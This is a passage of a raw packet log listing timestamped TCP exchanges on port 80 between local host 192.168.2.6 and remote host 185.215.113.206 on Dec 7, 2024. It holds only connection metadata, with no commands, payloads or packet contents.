Dec 7, 2024 00:15:20.612348080 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.612396002 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.613089085 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.613167048 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.613189936 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.613467932 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.613898993 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.613971949 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.614017963 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.614746094 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.614835978 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.614881039 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.615583897 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.615622997 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.615751982 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.616775036 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.722754002 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.722873926 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.722958088 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.723284006 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.723356962 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.723398924 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.723871946 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.723913908 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.723974943 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.724715948 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.724762917 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.724803925 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.725720882 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.725768089 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.725812912 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.725852966 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.726408958 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.726521015 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.726562977 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.727279902 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.727366924 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.727411032 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.728123903 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.728228092 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.728271961 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.728979111 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.729021072 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.729070902 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.729861021 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.729921103 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.729931116 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.730705976 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.730748892 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.730814934 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.730854988 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.731565952 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.731678963 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.731725931 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.732405901 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.732518911 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.732564926 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.733470917 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.733570099 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.733616114 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.734124899 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.734164000 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.734204054 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.734994888 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.735042095 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.735126019 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.735840082 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.735882044 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.735919952 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.735958099 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.736685991 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.736737967 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.736800909 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.737063885 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.737675905 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.737725973 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.737798929 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.737899065 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.738390923 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.738451958 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.738480091 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.738552094 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.739260912 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.739331007 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.739366055 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.739413977 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.740103960 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.740154982 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.740189075 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.740230083 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.740957022 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.741013050 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.741065979 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.741177082 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.741796970 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.741853952 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.742166042 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.742213964 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.742264032 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.742301941 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.743004084 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.743043900 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.743120909 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.743201971 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.743872881 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.743916988 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.744029999 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.744071007 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.744729042 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.744832993 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.744877100 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.745590925 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.745686054 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.745724916 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.746438026 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.746498108 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.746541023 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.746710062 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.747304916 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.747426033 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.747427940 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.747611046 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.748176098 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.748254061 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.748291016 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.748338938 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.748996019 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.749110937 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.749176979 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.749862909 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.749906063 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.749960899 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.750006914 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.750763893 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.750816107 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.750833035 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.750870943 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.751564980 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.751651049 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.751713037 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.751794100 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.752408028 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.752453089 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.752516031 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.752568960 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.753279924 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.753334999 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.753371000 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.753412962 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.754147053 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.754189014 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.754228115 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.754267931 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.754982948 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.755033016 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.755074024 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.755115032 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.755860090 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.755923986 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.755930901 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.755999088 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.802972078 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.802983999 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.803080082 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.803163052 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.803330898 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.803373098 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.803978920 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.804032087 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.804094076 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.804775953 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.804836035 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.804914951 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.805661917 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.805720091 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.805808067 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.806509018 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.806565046 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.806610107 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.806652069 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.807333946 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.807403088 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.807420969 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.807461023 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.808212042 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.808348894 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.808398962 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.809036016 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.809154987 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.809201956 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.809933901 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.810003996 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.810007095 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.810755014 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.810806990 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.810874939 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.811590910 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.811645031 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.811685085 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.811741114 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.812462091 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.812558889 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.812617064 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.813297987 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.813374043 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.813431978 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.915190935 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.915256023 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.915281057 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.915294886 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.915539980 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.915662050 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.915678024 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.915725946 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.916465998 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.916523933 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.916559935 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.916616917 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.917243004 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.917294025 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.917356968 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.917401075 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.918127060 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.918183088 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.918241024 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.918287039 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.918946028 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.919043064 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.919064999 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.919084072 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.919795036 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.919840097 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.919908047 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.919955015 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.920661926 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.920708895 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.920747995 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.920794964 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.921494007 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.921541929 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.921595097 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.921680927 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.922399044 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.922496080 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.922498941 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.922549009 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.923221111 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.923270941 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.923356056 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.923398972 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.924061060 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.924114943 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.924150944 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.924235106 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.924906969 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.924967051 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.925024986 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.925165892 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.925753117 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.925832033 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.925863028 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.925911903 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.926645041 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.926697969 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.926754951 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.926867962 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.927460909 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.927520037 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.927582979 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.927628040 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.928323030 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.928383112 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.928417921 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.928523064 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.929191113 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.929244041 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.929330111 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.929517984 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.930049896 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.930098057 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.930198908 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.930248022 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.930888891 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.930938005 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.931013107 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.931058884 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.931765079 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.931911945 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.931951046 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.931973934 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.932647943 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.932697058 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.932782888 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.932981014 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.933459997 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.933530092 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.933561087 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.933600903 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.934330940 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.934381962 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.934425116 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.934473038 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.935209036 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.935250998 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.935307026 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.935352087 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.936026096 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.936074018 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.936150074 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.936191082 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.936889887 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.936955929 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.936992884 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.937041998 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.937725067 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.937822104 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.937834978 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.937874079 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.938626051 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.938685894 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.938775063 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.938829899 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.939441919 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.939522982 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.939572096 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.939625978 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.940294981 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.940339088 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.940401077 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.940592051 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.941147089 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.941200018 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.941236019 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.941281080 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.942001104 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.942048073 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.942120075 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.942228079 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:20.942846060 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:20.942892075 CET	49715	80	192.168.2.6	185.215.113.206
